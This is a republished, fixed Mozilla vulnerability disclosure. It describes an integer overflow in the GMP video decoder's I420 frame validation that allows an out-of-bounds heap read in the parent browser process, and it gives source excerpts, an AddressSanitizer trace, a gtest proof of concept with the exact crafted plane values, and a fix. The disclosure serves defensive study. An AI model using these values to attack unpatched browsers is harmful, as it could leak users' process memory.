Skip to content
Memory corruption Disclosed report Advanced CVE-2026-4709

GMP Decoded Video Frame Plane Offset Integer Overflow OOB Heap Read

The I420 frame validation in the GMP video decoder used unchecked 32-bit integer addition when comparing plane offsets, so a crafted frame with a huge Y plane size could overflow the comparison and let a negative U plane offset pass. That negative offset then produced a pointer before the heap buffer, and a memcpy in the parent browser process read out-of-bounds heap memory.

Sajeeb Lohani Follow

Originally disclosed on Mozilla

  • Fixed in 15 days
  • Paid in 48 days
  • Disclosed after 15 days

Compromised GMP child process -> parent (main browser) process via PGMPVideoDecoder IPC.

CheckFrameData (GMPVideoi420FrameImpl.cpp:167-168) validates I420 plane ordering using raw int32_t addition that overflows, letting a negative U plane offset bypass the check. The negative offset propagates to Buffer(kGMPUPlane) at line 443 which does buffer + p->mOffset, producing a pointer before the heap allocation. WebrtcGmpVideoDecoder::Decoded() (WebrtcGmpVideoCodec.cpp:1072) then memcpys from that pointer, reading OOB heap data in the parent process.

Distinct from the stride * height overflow at lines 178-183 of the same function (separate bug, separate fix).

The Bug

GMPVideoi420FrameImpl.cpp:162-174:

C++
int32_t half_width = (aFrameData.mWidth() + 1) / 2;
if ((aFrameData.mYPlane().mStride() <= 0) ||
    (aFrameData.mYPlane().mSize() <= 0) ||
    (aFrameData.mYPlane().mOffset() < 0) ||                          // line 164: Y checked
    (aFrameData.mUPlane().mStride() <= 0) ||
    (aFrameData.mUPlane().mSize() <= 0) ||
    (aFrameData.mUPlane().mOffset() <
     aFrameData.mYPlane().mOffset() + aFrameData.mYPlane().mSize()) || // line 167-168

Line 164 checks mYPlane.mOffset >= 0 but there's no equivalent for U or V. The only constraint on mUPlane.mOffset is line 167-168, which uses raw int32_t addition. With Y.offset=1, Y.size=INT32_MAX: 1 + INT32_MAX overflows to INT32_MIN. Then -1 < INT32_MIN is false, so any negative U offset passes.

CheckDimensions in the same file (line 189) uses CheckedInt<int32_t> for all its arithmetic. CheckFrameData doesn't.

The Read

After CheckFrameData passes, the frame is constructed with the negative offset stored as-is (line 63-64). The callback chain goes:

RecvDecodedShmem (GMPVideoDecoderParent.cpp:330) -> mCallback->Decoded(f) -> WebrtcGmpVideoDecoder::Decoded (WebrtcGmpVideoCodec.cpp:1041)

Which does:

C++
// WebrtcGmpVideoCodec.cpp:1072-1074
memcpy(buffer_u, aDecodedFrame->Buffer(kGMPUPlane),
       aDecodedFrame->Stride(kGMPUPlane) * ((aDecodedFrame->Height() + 1) / 2));

Buffer(kGMPUPlane) at GMPVideoi420FrameImpl.cpp:443 returns buffer + p->mOffset — with a negative mOffset, that's a pointer before the allocation. The memcpy size is stride * ceil(height/2), both attacker-controlled, so the OOB read length is controllable.

ASAN Proof

==74417==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200022436f at pc 0x000301d50120 bp 0x00016dc60650 sp 0x00016dc60648
READ of size 1 at 0x60200022436f thread T0
    #0 0x000301d5011c in GMPFrameOOB_NegativeOffsetHeapOOBRead_Test::TestBody()+0x5ec (XUL:arm64+0x1d5011c)

0x60200022436f is located 1 bytes before 2-byte region [0x602000224370,0x602000224372)
allocated by thread T0 here:
    #0 0x00010290a8bc in malloc+0x70 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x528bc)
    #1 0x00010238ccc0 in moz_xmalloc+0x10 (libmozglue.dylib:arm64+0xcc0)

SUMMARY: AddressSanitizer: heap-buffer-overflow (XUL:arm64+0x1d5011c) in GMPFrameOOB_NegativeOffsetHeapOOBRead_Test::TestBody()+0x5ec

PoC

dom/media/gtest/TestGMPFrameOOB.cpp:

C++
#include "GMPVideoi420FrameImpl.h"

#include <climits>
#include <cstring>

#include "gtest/gtest.h"
#include "mozilla/gmp/GMPTypes.h"

using namespace mozilla::gmp;

static GMPVideoi420FrameData MakeOverflowFrameData(int32_t uOffset) {
  GMPVideoi420FrameData frameData;
  frameData.mYPlane().mOffset() = 1;
  frameData.mYPlane().mSize() = INT32_MAX;
  frameData.mYPlane().mStride() = 1;
  frameData.mUPlane().mOffset() = uOffset;
  frameData.mUPlane().mSize() = 1;
  frameData.mUPlane().mStride() = 1;
  frameData.mVPlane().mOffset() = 0;
  frameData.mVPlane().mSize() = 1;
  frameData.mVPlane().mStride() = 1;
  frameData.mWidth() = 1;
  frameData.mHeight() = 1;
  frameData.mTimestamp() = 0;
  frameData.mUpdatedTimestamp() = mozilla::Nothing();
  frameData.mDuration() = 0;
  return frameData;
}

TEST(GMPFrameOOB, CheckFrameDataIntOverflowBypass)
{
  auto frameData = MakeOverflowFrameData(-1);
  EXPECT_TRUE(GMPVideoi420FrameImpl::CheckFrameData(frameData, 2));
}

TEST(GMPFrameOOB, NegativeOffsetHeapOOBRead)
{
  auto frameData = MakeOverflowFrameData(-1);
  ASSERT_TRUE(GMPVideoi420FrameImpl::CheckFrameData(frameData, 2));

  uint8_t* buffer = new uint8_t[2];
  memset(buffer, 0xAA, 2);

  uint8_t* uPlanePtr = buffer + frameData.mUPlane().mOffset();
  volatile uint8_t val = *uPlanePtr;
  (void)val;

  delete[] buffer;
}

Run: ./mach gtest "GMPFrameOOB.CheckFrameDataIntOverflowBypass:GMPFrameOOB.NegativeOffsetHeapOOBRead"

Fix

Add non-negative checks for U and V offsets (matching the existing Y check at line 164), and use CheckedInt for the ordering arithmetic to match CheckDimensions:

C++
    (aFrameData.mYPlane().mOffset() < 0) ||
    (aFrameData.mUPlane().mOffset() < 0) ||   // ADD
    (aFrameData.mVPlane().mOffset() < 0) ||   // ADD

The original report as published on Mozilla's Bugzilla, by Sajeeb Lohani. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the plane-ordering check used raw int32_t addition instead of checked arithmetic, and it never verified that the U and V plane offsets were non-negative.

Impact

A compromised GMP child process could cause the parent browser process to read out-of-bounds heap memory, with the length of the read controlled by the attacker.

What the attacker needed

Compromised GMP child process; crafted I420 frame data

The fix

The fix should add non-negative checks for the U and V plane offsets and use checked integer arithmetic for the ordering comparison, matching the existing dimension check.

How it was found

  1. Build frame data where the Y plane offset is 1 and its size is the maximum 32-bit integer, and the U plane offset is negative.
  2. Pass that frame data to the frame validation routine, which accepts it because the addition overflows.
  3. Construct the frame with the negative offset stored unchanged.
  4. Take a pointer to the U plane buffer, which now points before the allocation, and read from it.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A video frame is stored as a block of memory, and each colour part (called a plane) is described by where it starts and how big it is. The code that checked these numbers added two of them together without guarding against the result wrapping around, so a very large number could make the check pass when it should fail. The result was that the browser read memory from just before the buffer it was given, which an attacker could use to leak data.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Sajeeb Lohani

View all

26 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.